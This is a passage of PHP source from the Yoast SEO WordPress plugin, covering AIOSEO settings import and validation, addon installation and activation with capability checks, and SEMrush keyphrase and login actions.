		$this->options->set( 'company_logo_meta', $logo_meta );

		return $this->url_import( $logo_url );
	}

	/**
	 * Imports the person logo while also accounting for the id of the log to be saved in the separate Yoast option.
	 *
	 * @param string $logo_url The person logo url coming from AIOSEO settings.
	 *
	 * @return string The transformed person logo url.
	 */
	public function import_person_logo( $logo_url ) {
		$logo_id = $this->image->get_attachment_by_url( $logo_url );
		$this->options->set( 'person_logo_id', $logo_id );

		$this->options->set( 'person_logo_meta', false );
		$logo_meta = $this->image->get_attachment_meta_from_settings( 'person_logo' );
		$this->options->set( 'person_logo_meta', $logo_meta );

		return $this->url_import( $logo_url );
	}

	/**
	 * Transforms the site represents setting.
	 *
	 * @param string $site_represents The site represents setting.
	 *
	 * @return string The transformed site represents setting.
	 */
	public function transform_site_represents( $site_represents ) {
		switch ( $site_represents ) {
			case 'person':
				return 'person';

			case 'organization':
			default:
				return 'company';
		}
	}

	/**
	 * Transforms the separator setting.
	 *
	 * @param string $separator The separator setting.
	 *
	 * @return string The transformed separator.
	 */
	public function transform_separator( $separator ) {
		switch ( $separator ) {
			case '&#45;':
				return 'sc-dash';

			case '&ndash;':
				return 'sc-ndash';

			case '&mdash;':
				return 'sc-mdash';

			case '&raquo;':
				return 'sc-raquo';

			case '&laquo;':
				return 'sc-laquo';

			case '&gt;':
				return 'sc-gt';

			case '&bull;':
				return 'sc-bull';

			case '&#124;':
				return 'sc-pipe';

			default:
				return 'sc-dash';
		}
	}
}
wordpress-seo/src/actions/importing/aioseo/aioseo-validate-data-action.php000064400000021157147510273100023045 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Given it's a very specific case.
namespace Yoast\WP\SEO\Actions\Importing\Aioseo;

use wpdb;
use Yoast\WP\SEO\Actions\Importing\Abstract_Aioseo_Importing_Action;
use Yoast\WP\SEO\Exceptions\Importing\Aioseo_Validation_Exception;
use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Importing action for validating AIOSEO data before the import occurs.
 */
class Aioseo_Validate_Data_Action extends Abstract_Aioseo_Importing_Action {

	/**
	 * The plugin of the action.
	 */
	public const PLUGIN = 'aioseo';

	/**
	 * The type of the action.
	 */
	public const TYPE = 'validate_data';

	/**
	 * The WordPress database instance.
	 *
	 * @var wpdb
	 */
	protected $wpdb;

	/**
	 * The Post Importing action.
	 *
	 * @var Aioseo_Posts_Importing_Action
	 */
	protected $post_importing_action;

	/**
	 * The settings importing actions.
	 *
	 * @var array
	 */
	protected $settings_importing_actions;

	/**
	 * Class constructor.
	 *
	 * @param wpdb                                               $wpdb                              The WordPress database instance.
	 * @param Options_Helper                                     $options                           The options helper.
	 * @param Aioseo_Custom_Archive_Settings_Importing_Action    $custom_archive_action             The Custom Archive Settings importing action.
	 * @param Aioseo_Default_Archive_Settings_Importing_Action   $default_archive_action            The Default Archive Settings importing action.
	 * @param Aioseo_General_Settings_Importing_Action           $general_settings_action           The General Settings importing action.
	 * @param Aioseo_Posttype_Defaults_Settings_Importing_Action $posttype_defaults_settings_action The Posttype Defaults Settings importing action.
	 * @param Aioseo_Taxonomy_Settings_Importing_Action          $taxonomy_settings_action          The Taxonomy Settings importing action.
	 * @param Aioseo_Posts_Importing_Action                      $post_importing_action             The Post importing action.
	 */
	public function __construct(
		wpdb $wpdb,
		Options_Helper $options,
		Aioseo_Custom_Archive_Settings_Importing_Action $custom_archive_action,
		Aioseo_Default_Archive_Settings_Importing_Action $default_archive_action,
		Aioseo_General_Settings_Importing_Action $general_settings_action,
		Aioseo_Posttype_Defaults_Settings_Importing_Action $posttype_defaults_settings_action,
		Aioseo_Taxonomy_Settings_Importing_Action $taxonomy_settings_action,
		Aioseo_Posts_Importing_Action $post_importing_action
	) {
		$this->wpdb                       = $wpdb;
		$this->options                    = $options;
		$this->post_importing_action      = $post_importing_action;
		$this->settings_importing_actions = [
			$custom_archive_action,
			$default_archive_action,
			$general_settings_action,
			$posttype_defaults_settings_action,
			$taxonomy_settings_action,
		];
	}

	/**
	 * Just checks if the action has been completed in the past.
	 *
	 * @return int 1 if it hasn't been completed in the past, 0 if it has.
	 */
	public function get_total_unindexed() {
		return ( ! $this->get_completed() ) ? 1 : 0;
	}

	/**
	 * Just checks if the action has been completed in the past.
	 *
	 * @param int $limit The maximum number of unimported objects to be returned. Not used, exists to comply with the interface.
	 *
	 * @return int 1 if it hasn't been completed in the past, 0 if it has.
	 */
	public function get_limited_unindexed_count( $limit ) {
		return ( ! $this->get_completed() ) ? 1 : 0;
	}

	/**
	 * Validates AIOSEO data.
	 *
	 * @return array An array of validated data or false if aioseo data did not pass validation.
	 *
	 * @throws Aioseo_Validation_Exception If the validation fails.
	 */
	public function index() {
		if ( $this->get_completed() ) {
			return [];
		}

		$validated_aioseo_table    = $this->validate_aioseo_table();
		$validated_aioseo_settings = $this->validate_aioseo_settings();
		$validated_robot_settings  = $this->validate_robot_settings();

		if ( $validated_aioseo_table === false || $validated_aioseo_settings === false || $validated_robot_settings === false ) {
			throw new Aioseo_Validation_Exception();
		}

		$this->set_completed( true );

		return [
			'validated_aioseo_table'    => $validated_aioseo_table,
			'validated_aioseo_settings' => $validated_aioseo_settings,
			'validated_robot_settings'  => $validated_robot_settings,
		];
	}

	/**
	 * Validates the AIOSEO indexable table.
	 *
	 * @return bool Whether the AIOSEO table exists and has the structure we expect.
	 */
	public function validate_aioseo_table() {
		if ( ! $this->aioseo_helper->aioseo_exists() ) {
			return false;
		}

		$table       = $this->aioseo_helper->get_table();
		$needed_data = $this->post_importing_action->get_needed_data();

		$aioseo_columns = $this->wpdb->get_col(
			"SHOW COLUMNS FROM {$table}", // phpcs:ignore WordPress.DB.PreparedSQL.InterpolatedNotPrepared -- Reason: There is no unescaped user input.
			0
		);

		return $needed_data === \array_intersect( $needed_data, $aioseo_columns );
	}

	/**
	 * Validates the AIOSEO settings from the options table.
	 *
	 * @return bool Whether the AIOSEO settings from the options table exist and have the structure we expect.
	 */
	public function validate_aioseo_settings() {
		foreach ( $this->settings_importing_actions as $settings_import_action ) {
			$aioseo_settings = \json_decode( \get_option( $settings_import_action->get_source_option_name(), '' ), true );

			if ( ! $settings_import_action->isset_settings_tab( $aioseo_settings ) ) {
				return false;
			}
		}

		return true;
	}

	/**
	 * Validates the AIOSEO robots settings from the options table.
	 *
	 * @return bool Whether the AIOSEO robots settings from the options table exist and have the structure we expect.
	 */
	public function validate_robot_settings() {
		if ( $this->validate_post_robot_settings() && $this->validate_default_robot_settings() ) {
			return true;
		}

		return false;
	}

	/**
	 * Validates the post AIOSEO robots settings from the options table.
	 *
	 * @return bool Whether the post AIOSEO robots settings from the options table exist and have the structure we expect.
	 */
	public function validate_post_robot_settings() {
		$post_robot_mapping = $this->post_importing_action->enhance_mapping();
		// We're gonna validate against posttype robot settings only for posts, assuming the robot settings stay the same for other post types.
		$post_robot_mapping['subtype'] = 'post';

		// Let's get both the aioseo_options and the aioseo_options_dynamic options.
		$aioseo_global_settings = $this->aioseo_helper->get_global_option();
		$aioseo_posts_settings  = \json_decode( \get_option( $post_robot_mapping['option_name'], '' ), true );

		$needed_robots_data = $this->post_importing_action->get_needed_robot_data();
		\array_push( $needed_robots_data, 'default', 'noindex' );

		foreach ( $needed_robots_data as $robot_setting ) {
			// Validate against global settings.
			if ( ! isset( $aioseo_global_settings['searchAppearance']['advanced']['globalRobotsMeta'][ $robot_setting ] ) ) {
				return false;
			}

			// Validate against posttype settings.
			if ( ! isset( $aioseo_posts_settings['searchAppearance'][ $post_robot_mapping['type'] ][ $post_robot_mapping['subtype'] ]['advanced']['robotsMeta'][ $robot_setting ] ) ) {
				return false;
			}
		}

		return true;
	}

	/**
	 * Validates the default AIOSEO robots settings for search appearance settings from the options table.
	 *
	 * @return bool Whether the AIOSEO robots settings for search appearance settings from the options table exist and have the structure we expect.
	 */
	public function validate_default_robot_settings() {

		foreach ( $this->settings_importing_actions as $settings_import_action ) {
			$robot_setting_map = $settings_import_action->pluck_robot_setting_from_mapping();

			// Some actions return empty robot settings, let's not validate against those.
			if ( ! empty( $robot_setting_map ) ) {
				$aioseo_settings = \json_decode( \get_option( $robot_setting_map['option_name'], '' ), true );

				if ( ! isset( $aioseo_settings['searchAppearance'][ $robot_setting_map['type'] ][ $robot_setting_map['subtype'] ]['advanced']['robotsMeta']['default'] ) ) {
					return false;
				}
			}
		}

		return true;
	}

	/**
	 * Used nowhere. Exists to comply with the interface.
	 *
	 * @return int The limit.
	 */
	public function get_limit() {
		/**
		 * Filter 'wpseo_aioseo_cleanup_limit' - Allow filtering the number of validations during each action pass.
		 *
		 * @param int $limit The maximum number of validations.
		 */
		$limit = \apply_filters( 'wpseo_aioseo_validation_limit', 25 );

		if ( ! \is_int( $limit ) || $limit < 1 ) {
			$limit = 25;
		}

		return $limit;
	}
}
wordpress-seo/src/actions/importing/aioseo/abstract-aioseo-settings-importing-action.php000064400000024610147510273100026011 0ustar00<?php

// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Given it's a very specific case.
namespace Yoast\WP\SEO\Actions\Importing\Aioseo;

use Exception;
use Yoast\WP\SEO\Actions\Importing\Abstract_Aioseo_Importing_Action;
use Yoast\WP\SEO\Helpers\Import_Helper;

/**
 * Abstract class for importing AIOSEO settings.
 */
abstract class Abstract_Aioseo_Settings_Importing_Action extends Abstract_Aioseo_Importing_Action {

	/**
	 * The plugin the class deals with.
	 *
	 * @var string
	 */
	public const PLUGIN = null;

	/**
	 * The type the class deals with.
	 *
	 * @var string
	 */
	public const TYPE = null;

	/**
	 * The option_name of the AIOSEO option that contains the settings.
	 */
	public const SOURCE_OPTION_NAME = null;

	/**
	 * The map of aioseo_options to yoast settings.
	 *
	 * @var array
	 */
	protected $aioseo_options_to_yoast_map = [];

	/**
	 * The tab of the aioseo settings we're working with, eg. taxonomies, posttypes.
	 *
	 * @var string
	 */
	protected $settings_tab = '';

	/**
	 * Additional mapping between AiOSEO replace vars and Yoast replace vars.
	 *
	 * @var array
	 *
	 * @see https://yoast.com/help/list-available-snippet-variables-yoast-seo/
	 */
	protected $replace_vars_edited_map = [];

	/**
	 * The import helper.
	 *
	 * @var Import_Helper
	 */
	protected $import_helper;

	/**
	 * Builds the mapping that ties AOISEO option keys with Yoast ones and their data transformation method.
	 *
	 * @return void
	 */
	abstract protected function build_mapping();

	/**
	 * Sets the import helper.
	 *
	 * @required
	 *
	 * @param Import_Helper $import_helper The import helper.
	 *
	 * @return void
	 */
	public function set_import_helper( Import_Helper $import_helper ) {
		$this->import_helper = $import_helper;
	}

	/**
	 * Retrieves the source option_name.
	 *
	 * @return string The source option_name.
	 *
	 * @throws Exception If the SOURCE_OPTION_NAME constant is not set in the child class.
	 */
	public function get_source_option_name() {
		$source_option_name = static::SOURCE_OPTION_NAME;

		if ( empty( $source_option_name ) ) {
			throw new Exception( 'Importing settings action without explicit source option_name' );
		}

		return $source_option_name;
	}

	/**
	 * Returns the total number of unimported objects.
	 *
	 * @return int The total number of unimported objects.
	 */
	public function get_total_unindexed() {
		return $this->get_unindexed_count();
	}

	/**
	 * Returns the limited number of unimported objects.
	 *
	 * @param int $limit The maximum number of unimported objects to be returned.
	 *
	 * @return int The limited number of unindexed posts.
	 */
	public function get_limited_unindexed_count( $limit ) {
		return $this->get_unindexed_count( $limit );
	}

	/**
	 * Returns the number of unimported objects (limited if limit is applied).
	 *
	 * @param int|null $limit The maximum number of unimported objects to be returned.
	 *
	 * @return int The number of unindexed posts.
	 */
	protected function get_unindexed_count( $limit = null ) {
		if ( ! \is_int( $limit ) || $limit < 1 ) {
			$limit = null;
		}

		$settings_to_create = $this->query( $limit );

		$number_of_settings_to_create = \count( $settings_to_create );
		$completed                    = $number_of_settings_to_create === 0;
		$this->set_completed( $completed );

		return $number_of_settings_to_create;
	}

	/**
	 * Imports AIOSEO settings.
	 *
	 * @return array|false An array of the AIOSEO settings that were imported or false if aioseo data was not found.
	 */
	public function index() {
		$limit            = $this->get_limit();
		$aioseo_settings  = $this->query( $limit );
		$created_settings = [];

		$completed = \count( $aioseo_settings ) === 0;
		$this->set_completed( $completed );

		// Prepare the setting keys mapping.
		$this->build_mapping();

		// Prepare the replacement var mapping.
		foreach ( $this->replace_vars_edited_map as $aioseo_var => $yoast_var ) {
			$this->replacevar_handler->compose_map( $aioseo_var, $yoast_var );
		}

		$last_imported_setting = '';
		try {
			foreach ( $aioseo_settings as $setting => $setting_value ) {
				// Map and import the values of the setting we're working with (eg. post, book-category, etc.) to the respective Yoast option.
				$this->map( $setting_value, $setting );

				// Save the type of the settings that were just imported, so that we can allow chunked imports.
				$last_imported_setting = $setting;

				$created_settings[] = $setting;
			}
		}
		finally {
			$cursor_id = $this->get_cursor_id();
			$this->import_cursor->set_cursor( $cursor_id, $last_imported_setting );
		}

		return $created_settings;
	}

	/**
	 * Checks if the settings tab subsetting is set in the AIOSEO option.
	 *
	 * @param string $aioseo_settings The AIOSEO option.
	 *
	 * @return bool Whether the settings are set.
	 */
	public function isset_settings_tab( $aioseo_settings ) {
		return isset( $aioseo_settings['searchAppearance'][ $this->settings_tab ] );
	}

	/**
	 * Queries the database and retrieves unimported AiOSEO settings (in chunks if a limit is applied).
	 *
	 * @param int|null $limit The maximum number of unimported objects to be returned.
	 *
	 * @return array The (maybe chunked) unimported AiOSEO settings to import.
	 */
	protected function query( $limit = null ) {
		$aioseo_settings = \json_decode( \get_option( $this->get_source_option_name(), '' ), true );

		if ( empty( $aioseo_settings ) ) {
			return [];
		}

		// We specifically want the setttings of the tab we're working with, eg. postTypes, taxonomies, etc.
		$settings_values = $aioseo_settings['searchAppearance'][ $this->settings_tab ];
		if ( ! \is_array( $settings_values ) ) {
			return [];
		}

		$flattened_settings = $this->import_helper->flatten_settings( $settings_values );

		return $this->get_unimported_chunk( $flattened_settings, $limit );
	}

	/**
	 * Retrieves (a chunk of, if limit is applied) the unimported AIOSEO settings.
	 * To apply a chunk, we manipulate the cursor to the keys of the AIOSEO settings.
	 *
	 * @param array $importable_data All of the available AIOSEO settings.
	 * @param int   $limit           The maximum number of unimported objects to be returned.
	 *
	 * @return array The (chunk of, if limit is applied)) unimported AIOSEO settings.
	 */
	protected function get_unimported_chunk( $importable_data, $limit ) {
		\ksort( $importable_data );

		$cursor_id = $this->get_cursor_id();
		$cursor    = $this->import_cursor->get_cursor( $cursor_id, '' );

		/**
		 * Filter 'wpseo_aioseo_<identifier>_import_cursor' - Allow filtering the value of the aioseo settings import cursor.
		 *
		 * @param int $import_cursor The value of the aioseo posttype default settings import cursor.
		 */
		$cursor = \apply_filters( 'wpseo_aioseo_' . $this->get_type() . '_import_cursor', $cursor );

		if ( $cursor === '' ) {
			return \array_slice( $importable_data, 0, $limit, true );
		}

		// Let's find the position of the cursor in the alphabetically sorted importable data, so we can return only the unimported data.
		$keys = \array_flip( \array_keys( $importable_data ) );
		// If the stored cursor now no longer exists in the data, we have no choice but to start over.
		$position = ( isset( $keys[ $cursor ] ) ) ? ( $keys[ $cursor ] + 1 ) : 0;

		return \array_slice( $importable_data, $position, $limit, true );
	}

	/**
	 * Returns the number of objects that will be imported in a single importing pass.
	 *
	 * @return int The limit.
	 */
	public function get_limit() {
		/**
		 * Filter 'wpseo_aioseo_<identifier>_indexation_limit' - Allow filtering the number of settings imported during each importing pass.
		 *
		 * @param int $max_posts The maximum number of posts indexed.
		 */
		$limit = \apply_filters( 'wpseo_aioseo_' . $this->get_type() . '_indexation_limit', 25 );

		if ( ! \is_int( $limit ) || $limit < 1 ) {
			$limit = 25;
		}

		return $limit;
	}

	/**
	 * Maps/imports AIOSEO settings into the respective Yoast settings.
	 *
	 * @param string|array $setting_value The value of the AIOSEO setting at hand.
	 * @param string       $setting       The setting at hand, eg. post or movie-category, separator etc.
	 *
	 * @return void
	 */
	protected function map( $setting_value, $setting ) {
		$aioseo_options_to_yoast_map = $this->aioseo_options_to_yoast_map;

		if ( isset( $aioseo_options_to_yoast_map[ $setting ] ) ) {
			$this->import_single_setting( $setting, $setting_value, $aioseo_options_to_yoast_map[ $setting ] );
		}
	}

	/**
	 * Imports a single setting in the db after transforming it to adhere to Yoast conventions.
	 *
	 * @param string $setting         The name of the setting.
	 * @param string $setting_value   The values of the setting.
	 * @param array  $setting_mapping The mapping of the setting to Yoast formats.
	 *
	 * @return void
	 */
	protected function import_single_setting( $setting, $setting_value, $setting_mapping ) {
		$yoast_key = $setting_mapping['yoast_name'];

		// Check if we're supposed to save the setting.
		if ( $this->options->get_default( 'wpseo_titles', $yoast_key ) !== null ) {
			// Then, do any needed data transfomation before actually saving the incoming data.
			$transformed_data = \call_user_func( [ $this, $setting_mapping['transform_method'] ], $setting_value, $setting_mapping );

			$this->options->set( $yoast_key, $transformed_data );
		}
	}

	/**
	 * Minimally transforms boolean data to be imported.
	 *
	 * @param bool $meta_data The boolean meta data to be imported.
	 *
	 * @return bool The transformed boolean meta data.
	 */
	public function simple_boolean_import( $meta_data ) {
		return $meta_data;
	}

	/**
	 * Imports the noindex setting, taking into consideration whether they defer to global defaults.
	 *
	 * @param bool  $noindex The noindex of the type, without taking into consideration whether the type defers to global defaults.
	 * @param array $mapping The mapping of the setting we're working with.
	 *
	 * @return bool The noindex setting.
	 */
	public function import_noindex( $noindex, $mapping ) {
		return $this->robots_transformer->transform_robot_setting( 'noindex', $noindex, $mapping );
	}

	/**
	 * Returns a setting map of the robot setting for one subset of post types/taxonomies/archives.
	 * For custom archives, it returns an empty array because AIOSEO excludes some custom archives from this option structure, eg. WooCommerce's products and we don't want to raise a false alarm.
	 *
	 * @return array The setting map of the robot setting for one subset of post types/taxonomies/archives or an empty array.
	 */
	public function pluck_robot_setting_from_mapping() {
		return [];
	}
}
wordpress-seo/src/actions/importing/importing-action-interface.php000064400000001614147510273100021553 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Importing;

use Yoast\WP\SEO\Actions\Indexing\Limited_Indexing_Action_Interface;

interface Importing_Action_Interface extends Importing_Indexation_Action_Interface, Limited_Indexing_Action_Interface {

	/**
	 * Returns the name of the plugin we import from.
	 *
	 * @return string The plugin name.
	 */
	public function get_plugin();

	/**
	 * Returns the type of data we import.
	 *
	 * @return string The type of data.
	 */
	public function get_type();

	/**
	 * Whether or not this action is capable of importing given a specific plugin and type.
	 *
	 * @param string|null $plugin The name of the plugin being imported.
	 * @param string|null $type   The component of the plugin being imported.
	 *
	 * @return bool True if the action can import the given plugin's data of the given type.
	 */
	public function is_compatible_with( $plugin = null, $type = null );
}
wordpress-seo/src/actions/addon-installation/addon-install-action.php000064400000007562147510273100022122 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Addon_Installation;

use Plugin_Upgrader;
use WP_Error;
use WPSEO_Addon_Manager;
use Yoast\WP\SEO\Exceptions\Addon_Installation\Addon_Already_Installed_Exception;
use Yoast\WP\SEO\Exceptions\Addon_Installation\Addon_Installation_Error_Exception;
use Yoast\WP\SEO\Exceptions\Addon_Installation\User_Cannot_Install_Plugins_Exception;
use Yoast\WP\SEO\Helpers\Require_File_Helper;

/**
 * Represents the endpoint for downloading and installing a zip-file from MyYoast.
 */
class Addon_Install_Action {

	/**
	 * The addon manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	protected $addon_manager;

	/**
	 * The require file helper.
	 *
	 * @var Require_File_Helper
	 */
	protected $require_file_helper;

	/**
	 * Addon_Activate_Action constructor.
	 *
	 * @param WPSEO_Addon_Manager $addon_manager       The addon manager.
	 * @param Require_File_Helper $require_file_helper A helper that can require files.
	 */
	public function __construct(
		WPSEO_Addon_Manager $addon_manager,
		Require_File_Helper $require_file_helper
	) {
		$this->addon_manager       = $addon_manager;
		$this->require_file_helper = $require_file_helper;
	}

	/**
	 * Installs the plugin based on the given slug.
	 *
	 * @param string $plugin_slug  The plugin slug to install.
	 * @param string $download_url The plugin download URL.
	 *
	 * @return bool True when install is successful.
	 *
	 * @throws Addon_Already_Installed_Exception  When the addon is already installed.
	 * @throws Addon_Installation_Error_Exception When the installation encounters an error.
	 * @throws User_Cannot_Install_Plugins_Exception        When the user does not have the permissions to install plugins.
	 */
	public function install_addon( $plugin_slug, $download_url ) {
		if ( ! \current_user_can( 'install_plugins' ) ) {
			throw new User_Cannot_Install_Plugins_Exception( $plugin_slug );
		}

		if ( $this->is_installed( $plugin_slug ) ) {
			throw new Addon_Already_Installed_Exception( $plugin_slug );
		}

		$this->load_wordpress_classes();

		$install_result = $this->install( $download_url );
		if ( \is_wp_error( $install_result ) ) {
			throw new Addon_Installation_Error_Exception( $install_result->get_error_message() );
		}

		return $install_result;
	}

	/**
	 * Requires the files needed from WordPress itself.
	 *
	 * @codeCoverageIgnore
	 *
	 * @return void
	 */
	protected function load_wordpress_classes() {
		if ( ! \class_exists( 'WP_Upgrader' ) ) {
			$this->require_file_helper->require_file_once( \ABSPATH . 'wp-admin/includes/class-wp-upgrader.php' );
		}

		if ( ! \class_exists( 'Plugin_Upgrader' ) ) {
			$this->require_file_helper->require_file_once( \ABSPATH . 'wp-admin/includes/class-plugin-upgrader.php' );
		}

		if ( ! \class_exists( 'WP_Upgrader_Skin' ) ) {
			$this->require_file_helper->require_file_once( \ABSPATH . 'wp-admin/includes/class-wp-upgrader-skin.php' );
		}

		if ( ! \function_exists( 'get_plugin_data' ) ) {
			$this->require_file_helper->require_file_once( \ABSPATH . 'wp-admin/includes/plugin.php' );
		}

		if ( ! \function_exists( 'request_filesystem_credentials' ) ) {
			$this->require_file_helper->require_file_once( \ABSPATH . 'wp-admin/includes/file.php' );
		}
	}

	/**
	 * Checks is a plugin is installed.
	 *
	 * @param string $plugin_slug The plugin to check.
	 *
	 * @return bool True when plugin is installed.
	 */
	protected function is_installed( $plugin_slug ) {
		return $this->addon_manager->get_plugin_file( $plugin_slug ) !== false;
	}

	/**
	 * Runs the installation by using the WordPress installation routine.
	 *
	 * @codeCoverageIgnore Contains WordPress specific logic.
	 *
	 * @param string $plugin_download The url to the download.
	 *
	 * @return bool|WP_Error True when success, WP_Error when something went wrong.
	 */
	protected function install( $plugin_download ) {
		$plugin_upgrader = new Plugin_Upgrader();

		return $plugin_upgrader->install( $plugin_download );
	}
}
wordpress-seo/src/actions/addon-installation/addon-activate-action.php000064400000004522147510273100022245 0ustar00<?php

namespace Yoast\WP\SEO\Actions\Addon_Installation;

use WPSEO_Addon_Manager;
use Yoast\WP\SEO\Exceptions\Addon_Installation\Addon_Activation_Error_Exception;
use Yoast\WP\SEO\Exceptions\Addon_Installation\User_Cannot_Activate_Plugins_Exception;
use Yoast\WP\SEO\Helpers\Require_File_Helper;

/**
 * Represents the endpoint for activating a specific Yoast Plugin on WordPress.
 */
class Addon_Activate_Action {

	/**
	 * The addon manager.
	 *
	 * @var WPSEO_Addon_Manager
	 */
	protected $addon_manager;

	/**
	 * The require file helper.
	 *
	 * @var Require_File_Helper
	 */
	protected $require_file_helper;

	/**
	 * Addon_Activate_Action constructor.
	 *
	 * @param WPSEO_Addon_Manager $addon_manager       The addon manager.
	 * @param Require_File_Helper $require_file_helper A file helper.
	 */
	public function __construct(
		WPSEO_Addon_Manager $addon_manager,
		Require_File_Helper $require_file_helper
	) {
		$this->addon_manager       = $addon_manager;
		$this->require_file_helper = $require_file_helper;
	}

	/**
	 * Activates the plugin based on the given plugin file.
	 *
	 * @param string $plugin_slug The plugin slug to get download url for.
	 *
	 * @return bool True when activation is successful.
	 *
	 * @throws Addon_Activation_Error_Exception       Exception when the activation encounters an error.
	 * @throws User_Cannot_Activate_Plugins_Exception Exception when the user is not allowed to activate.
	 */
	public function activate_addon( $plugin_slug ) {
		if ( ! \current_user_can( 'activate_plugins' ) ) {
			throw new User_Cannot_Activate_Plugins_Exception();
		}

		if ( $this->addon_manager->is_installed( $plugin_slug ) ) {
			return true;
		}

		$this->load_wordpress_classes();

		$plugin_file       = $this->addon_manager->get_plugin_file( $plugin_slug );
		$activation_result = \activate_plugin( $plugin_file );

		if ( $activation_result !== null && \is_wp_error( $activation_result ) ) {
			throw new Addon_Activation_Error_Exception( $activation_result->get_error_message() );
		}

		return true;
	}

	/**
	 * Requires the files needed from WordPress itself.
	 *
	 * @codeCoverageIgnore Only loads a WordPress file.
	 *
	 * @return void
	 */
	protected function load_wordpress_classes() {
		if ( ! \function_exists( 'get_plugins' ) ) {
			$this->require_file_helper->require_file_once( \ABSPATH . 'wp-admin/includes/plugin.php' );
		}
	}
}
wordpress-seo/src/actions/semrush/semrush-options-action.php000064400000002140147510273100020435 0ustar00<?php

namespace Yoast\WP\SEO\Actions\SEMrush;

use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Class SEMrush_Options_Action
 */
class SEMrush_Options_Action {

	/**
	 * The Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * SEMrush_Options_Action constructor.
	 *
	 * @param Options_Helper $options_helper The WPSEO options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Stores SEMrush country code in the WPSEO options.
	 *
	 * @param string $country_code The country code to store.
	 *
	 * @return object The response object.
	 */
	public function set_country_code( $country_code ) {
		// The country code has already been validated at this point. No need to do that again.
		$success = $this->options_helper->set( 'semrush_country_code', $country_code );

		if ( $success ) {
			return (object) [
				'success' => true,
				'status'  => 200,
			];
		}
		return (object) [
			'success' => false,
			'status'  => 500,
			'error'   => 'Could not save option in the database',
		];
	}
}
wordpress-seo/src/actions/semrush/semrush-phrases-action.php000064400000004441147510273100020415 0ustar00<?php

namespace Yoast\WP\SEO\Actions\SEMrush;

use Exception;
use Yoast\WP\SEO\Config\SEMrush_Client;

/**
 * Class SEMrush_Phrases_Action
 */
class SEMrush_Phrases_Action {

	/**
	 * The transient cache key.
	 */
	public const TRANSIENT_CACHE_KEY = 'wpseo_semrush_related_keyphrases_%s_%s';

	/**
	 * The SEMrush keyphrase URL.
	 *
	 * @var string
	 */
	public const KEYPHRASES_URL = 'https://oauth.semrush.com/api/v1/keywords/phrase_fullsearch';

	/**
	 * The SEMrush_Client instance.
	 *
	 * @var SEMrush_Client
	 */
	protected $client;

	/**
	 * SEMrush_Phrases_Action constructor.
	 *
	 * @param SEMrush_Client $client The API client.
	 */
	public function __construct( SEMrush_Client $client ) {
		$this->client = $client;
	}

	/**
	 * Gets the related keyphrases and data based on the passed keyphrase and database country code.
	 *
	 * @param string $keyphrase The keyphrase to search for.
	 * @param string $database  The database's country code.
	 *
	 * @return object The response object.
	 */
	public function get_related_keyphrases( $keyphrase, $database ) {
		try {
			$transient_key = \sprintf( static::TRANSIENT_CACHE_KEY, $keyphrase, $database );
			$transient     = \get_transient( $transient_key );

			if ( $transient !== false && isset( $transient['data']['columnNames'] ) && \count( $transient['data']['columnNames'] ) === 5 ) {
				return $this->to_result_object( $transient );
			}

			$options = [
				'params' => [
					'phrase'         => $keyphrase,
					'database'       => $database,
					'export_columns' => 'Ph,Nq,Td,In,Kd',
					'display_limit'  => 10,
					'display_offset' => 0,
					'display_sort'   => 'nq_desc',
					'display_filter' => '%2B|Nq|Lt|1000',
				],
			];

			$results = $this->client->get( self::KEYPHRASES_URL, $options );

			\set_transient( $transient_key, $results, \DAY_IN_SECONDS );

			return $this->to_result_object( $results );
		} catch ( Exception $e ) {
			return (object) [
				'error'  => $e->getMessage(),
				'status' => $e->getCode(),
			];
		}
	}

	/**
	 * Converts the passed dataset to an object.
	 *
	 * @param array $result The result dataset to convert to an object.
	 *
	 * @return object The result object.
	 */
	protected function to_result_object( $result ) {
		return (object) [
			'results' => $result['data'],
			'status'  => $result['status'],
		];
	}
}
wordpress-seo/src/actions/semrush/semrush-login-action.php000064400000002360147510273100020056 0ustar00<?php

namespace Yoast\WP\SEO\Actions\SEMrush;

use Yoast\WP\SEO\Config\SEMrush_Client;
use Yoast\WP\SEO\Exceptions\OAuth\Authentication_Failed_Exception;

/**
 * Class SEMrush_Login_Action
 */
class SEMrush_Login_Action {

	/**
	 * The SEMrush_Client instance.
	 *
	 * @var SEMrush_Client
	 */
	protected $client;

	/**
	 * SEMrush_Login_Action constructor.
	 *
	 * @param SEMrush_Client $client The API client.
	 */
	public function __construct( SEMrush_Client $client ) {
		$this->client = $client;
	}

	/**
	 * Authenticates with SEMrush to request the necessary tokens.
	 *
	 * @param string $code The authentication code to use to request a token with.
	 *
	 * @return object The response object.
	 */
	public function authenticate( $code ) {
		// Code has already been validated at this point. No need to do that again.
		try {
			$tokens = $this->client->request_tokens( $code );

			return (object) [
				'tokens' => $tokens->to_array(),
				'status' => 200,
			];
		} catch ( Authentication_Failed_Exception $e ) {
			return $e->get_response();
		}
	}

	/**
	 * Performs the login request, if necessary.
	 *
	 * @return void
	 */
	public function login() {
		if ( $this->client->has_valid_tokens() ) {
			return;
		}

		// Prompt with login screen.
	}
}
wordpress-seo/src/actions/integrations-action.php000064400000002366147510273100016310 0ustar00<?php

namespace Yoast\WP\SEO\Actions;

use Yoast\WP\SEO\Helpers\Options_Helper;

/**
 * Class Integrations_Action.
 */
class Integrations_Action {

	/**
	 * The Options_Helper instance.
	 *
	 * @var Options_Helper
	 */
	protected $options_helper;

	/**
	 * Integrations_Action constructor.
	 *
	 * @param Options_Helper $options_helper The WPSEO options helper.
	 */
	public function __construct( Options_Helper $options_helper ) {
		$this->options_helper = $options_helper;
	}

	/**
	 * Sets an integration state.
	 *
	 * @param string $integration_name The name of the integration to activate/deactivate.
	 * @param bool   $value            The value to store.
	 *
	 * @return object The response object.
	 */
	public function set_integration_active( $integration_name, $value ) {
		$option_name  = $integration_name . '_integration_active';
		$success      = true;
		$option_value = $this->options_helper->get( $option_name );

		if ( $option_value !== $value ) {
			$success = $this->options_helper->set( $option_name, $value );
		}

		if ( $success ) {
			return (object) [
				'success' => true,
				'status'  => 200,
			];
		}
